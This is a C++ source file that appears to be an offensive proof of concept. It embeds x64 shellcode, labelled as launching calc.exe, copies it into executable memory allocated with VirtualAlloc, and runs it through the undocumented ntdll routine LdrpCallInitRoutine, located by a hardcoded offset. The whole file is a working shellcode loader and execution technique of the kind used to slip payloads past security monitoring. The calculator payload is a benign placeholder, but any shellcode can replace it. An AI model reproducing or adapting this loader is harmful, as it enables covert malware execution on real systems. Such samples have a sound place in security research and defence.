#include <Windows.h>
#include <stdio.h>

// alfarom256 calc shellcode
unsigned char op[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";


typedef size_t(__fastcall* lpCallInitRoutine)(size_t, size_t, size_t);
typedef char(__fastcall* pLdrpCallInitRoutine)(lpCallInitRoutine, size_t, unsigned int, size_t);

#define NTDLL_LDRPCALLINITRT_OFFSET 0x000199bc
// ? ntdll!LdrpCallInitRoutine - ntdll

int main() {
    HANDLE hProcess = ::GetCurrentProcess();

    LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!address) { return -1; }
    memcpy(address, &op[0], sizeof(op));

    uintptr_t hNtdll = (uintptr_t)GetModuleHandleA("ntdll");
    if (!hNtdll) { return -1; }

    // todo: find a better way to get LdrpCallInitRoutine. I'm lazy right now.
    uintptr_t func = hNtdll + NTDLL_LDRPCALLINITRT_OFFSET;
    pLdrpCallInitRoutine LdrpCallInitRoutine = (pLdrpCallInitRoutine)func;
    LdrpCallInitRoutine((lpCallInitRoutine)address, 0, 0, 0);

}